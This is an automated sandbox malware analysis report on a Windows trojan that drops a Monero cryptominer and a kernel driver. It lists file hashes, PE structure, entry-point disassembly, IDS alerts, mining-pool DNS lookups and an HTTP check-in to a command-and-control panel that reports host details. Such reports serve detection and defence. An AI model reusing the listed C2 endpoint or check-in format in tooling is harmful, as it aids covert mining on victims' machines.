	sWXyzk4Kv3.exe	Get hash	malicious	AsyncRAT	Browse	195.10.205.90
	SecuriteInfo.com.Win32.TrojanX-gen.9663.10822.exe	Get hash	malicious	Xmrig	Browse	195.10.205.162
	JCqU250N6g.exe	Get hash	malicious	RedLine	Browse	195.10.205.91

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\clwjpwuuvdte.sys	If it doesn't work, run this.exe	Get hash	malicious	Xmrig	Browse
	04cde81ac938706771fa9fe936ee8f79fe7e079973098.exe	Get hash	malicious	RedLine, Xmrig	Browse
	2plugin27724.exe	Get hash	malicious	Xmrig	Browse
	SetLoader.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	22.08.2024.exe	Get hash	malicious	Xmrig	Browse
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse
	ExeFile (375).exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	j0A1eprdwX.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2625536
Entropy (8bit):	6.539341254453801
Encrypted:	false
SSDEEP:	49152:PJdHz87tVYYqWzvNTwSCnSZMUVIfzJ9KJnYtf9L+tnZGoxgeXui3dp:P/z8XYYqWLZwSYSZnV86JnYvL+VxrXus
MD5:	6424419AC4C6F0A24C95233E527C1E8A
SHA1:	DEAE1C236A839075F13C2F5F0A32FD123B0E0D4D
SHA-256:	8C53149F0180A2D3D0C7B2B481C78D9DC0F88270C8506B5DD62EAF115A17E98D
SHA-512:	2D9E37221158365F910A811F1D353D1CED3762B2F27BAAD61D67C1BB36E659BB6622120105E60630F31EE9E10A455E54021B67329B7D257B891A56CCCB58A748
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......n....'.....@..........@.............................p(...........`.................................................h...<............0(..............`(.x...............................(.......8...............X............................text...fm.......n.................. ..`.rdata...............r..............@..@.data.....'......z'.................@....pdata.......0(.......(.............@..@.00cfg.......@(.......(.............@..@.tls.........P(.......(.............@....reloc..x....`(.......(.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bblwbcke.0y5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndhteqxt.wbu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sivy1qx3.ilt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3o2mnnd.u10.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulvX/Z:NllUvX
MD5:	E55E6E0E1AB6A345A7BCC5FD9C39F70C
SHA1:	E5344BE0ED383244752DD96C35183014062EB114
SHA-256:	9635856D4CAE632D612BDD5736CEA8F6B6AEEBD6FE3AEB04A842FBDB386BCC91
SHA-512:	74908F7F2D21452483A47A25A5728B9211215C6DB2591E94806E477B6B870C92BCE7E11D64A6E9B4AB225927869AD5440ED2995CCA42FD6C8612B027F994A2A5
Malicious:	false
Preview:	@...e................................................@..........

C:\Windows\Temp\__PSScriptPolicyTest_g4lrr4lf.gfl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_h5zbo4jp.5rk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ingxpkfp.uhv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qiq3ihzp.4dw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\clwjpwuuvdte.sys

Download File

Process:	C:\ProgramData\utblsmnncewd\bbecxurdegum.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: If it doesn't work, run this.exe, Detection: malicious, Browse Filename: 04cde81ac938706771fa9fe936ee8f79fe7e079973098.exe, Detection: malicious, Browse Filename: 2plugin27724.exe, Detection: malicious, Browse Filename: SetLoader.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 22.08.2024.exe, Detection: malicious, Browse Filename: 3QKcKCEzYP.exe, Detection: malicious, Browse Filename: ExeFile (375).exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: j0A1eprdwX.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.539341254453801
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe
File size:	2'625'536 bytes
MD5:	6424419ac4c6f0a24c95233e527c1e8a
SHA1:	deae1c236a839075f13c2f5f0a32fd123b0e0d4d
SHA256:	8c53149f0180a2d3d0c7b2b481c78d9dc0f88270c8506b5dd62eaf115a17e98d
SHA512:	2d9e37221158365f910a811f1d353d1ced3762b2f27baad61d67c1bb36e659bb6622120105e60630f31ee9e10a455e54021b67329b7d257b891a56cccb58a748
SSDEEP:	49152:PJdHz87tVYYqWzvNTwSCnSZMUVIfzJ9KJnYtf9L+tnZGoxgeXui3dp:P/z8XYYqWLZwSYSZnV86JnYvL+VxrXus
TLSH:	A7C533F1D94AE2F7ED8900B99485EDB1A546BF702F7193DB54F385227D670D0E03A8A0
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......n....'.....@..........@.............................p(...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C0FDAC [Sat Aug 17 19:44:44 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00006ED5h]
mov dword ptr [eax], 00000001h
call 00007FE0E47F55BFh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00006EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FE0E47F55E0h
dec eax
cmp edi, eax
je 00007FE0E47F55DBh
dec esp
mov esi, dword ptr [00008599h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FE0E47F55B7h
dec eax
cmp edi, eax
jne 00007FE0E47F5599h
dec eax
mov edi, dword ptr [00006E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FE0E47F55BEh
mov ecx, 0000001Fh
call 00007FE0E47FBFC4h
jmp 00007FE0E47F55D9h
cmp dword ptr [edi], 00000000h
je 00007FE0E47F55BBh
mov byte ptr [002807C9h], 00000001h
jmp 00007FE0E47F55CBh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00006E7Ah]
dec eax
mov edx, dword ptr [00006E7Bh]
call 00007FE0E47FBFBBh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FE0E47F55CBh
dec eax
mov ecx, dword ptr [00006E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9468	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x283000	0x180	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x286000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x80a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9600	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6d66	0x6e00	ee34e2442973a8674fcaf5c9f0376098	False	0.5241477272727273	data	6.198368138669057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1bb0	0x1c00	9ff43f62a58c1cb23a2aa005cace94f6	False	0.45912388392857145	data	4.764753869731783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2787e0	0x277a00	b6d49ffce16718a6e4483dc9ea48004d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x283000	0x180	0x200	fdd46b00dd22a7c50e70b33864aa34ab	False	0.505859375	data	3.1278253668305642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x284000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x285000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x286000	0x78	0x200	4c623b7f14fb60ba5fc5786c5bdae517	False	0.228515625	data	1.4113404372261673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-05T16:25:01.830482+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.5	49704	141.94.96.71	8080	TCP
2024-09-05T16:25:06.413438+0200	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.5	61015	1.1.1.1	53	UDP
2024-09-05T16:25:08.184137+0200	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.5	49705	195.10.205.253	80	TCP
2024-09-05T16:26:07.213120+0200	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.5	49715	195.10.205.253	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 5, 2024 16:25:06.424220085 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:06.429707050 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:06.432745934 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:06.432851076 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:06.437668085 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:07.050215006 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:07.096066952 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:07.517781973 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:07.524490118 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:07.524750948 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:07.524826050 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:07.529582977 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:07.530529022 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:07.535442114 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:08.180952072 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:08.184010983 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:08.184137106 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:08.184267998 CEST	49705	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:25:08.189018965 CEST	80	49705	195.10.205.253	192.168.2.5
Sep 5, 2024 16:25:19.619952917 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:19.620150089 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:19.620199919 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:19.620398998 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:19.620438099 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:19.621001959 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:19.621042967 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:33.077090979 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:33.127327919 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:43.101370096 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:43.158787012 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:47.546423912 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:47.551358938 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:47.746654034 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:47.799213886 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:25:53.534440994 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:53.534629107 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:25:53.534674883 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:04.801320076 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:04.846072912 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:06.436137915 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:06.441065073 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:06.441157103 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:06.441839933 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:06.446563005 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:06.446628094 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:06.451473951 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:07.212920904 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:07.213109970 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:07.213119984 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:07.213151932 CEST	49715	80	192.168.2.5	195.10.205.253
Sep 5, 2024 16:26:07.217899084 CEST	80	49715	195.10.205.253	192.168.2.5
Sep 5, 2024 16:26:14.862273932 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:14.908581018 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:24.987126112 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:25.033576012 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:41.284357071 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:41.346060038 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:47.721940041 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:47.767942905 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:51.973241091 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:51.973448992 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:51.973661900 CEST	49704	8080	192.168.2.5	141.94.96.71
Sep 5, 2024 16:26:51.973843098 CEST	8080	49704	141.94.96.71	192.168.2.5
Sep 5, 2024 16:26:51.973893881 CEST	49704	8080	192.168.2.5	141.94.96.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 5, 2024 16:25:06.413438082 CEST	61015	53	192.168.2.5	1.1.1.1
Sep 5, 2024 16:25:06.421236038 CEST	53	61015	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 5, 2024 16:25:06.413438082 CEST	192.168.2.5	1.1.1.1	0x59e2	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 5, 2024 16:25:06.421236038 CEST	1.1.1.1	192.168.2.5	0x59e2	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 16:25:06.421236038 CEST	1.1.1.1	192.168.2.5	0x59e2	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Sep 5, 2024 16:25:06.421236038 CEST	1.1.1.1	192.168.2.5	0x59e2	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Sep 5, 2024 16:25:06.421236038 CEST	1.1.1.1	192.168.2.5	0x59e2	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

195.10.205.253

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	195.10.205.253	80	3920	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 16:25:07.524826050 CEST	180	OUT	POST /panel/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 482 Content-Type: application/json Host: 195.10.205.253 User-Agent: cpp-httplib/0.12.6
Sep 5, 2024 16:25:07.530529022 CEST	482	OUT	Data Raw: 7b 22 69 64 22 3a 22 6d 63 71 71 61 6a 75 6f 69 62 6c 68 6e 7a 75 68 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 32 32 36 35 33 33 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 59 46 56 39 54 54 Data Ascii: {"id":"mcqqajuoiblhnzuh","computername":"226533","username":"SYSTEM","gpu":"YFV9TT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System","
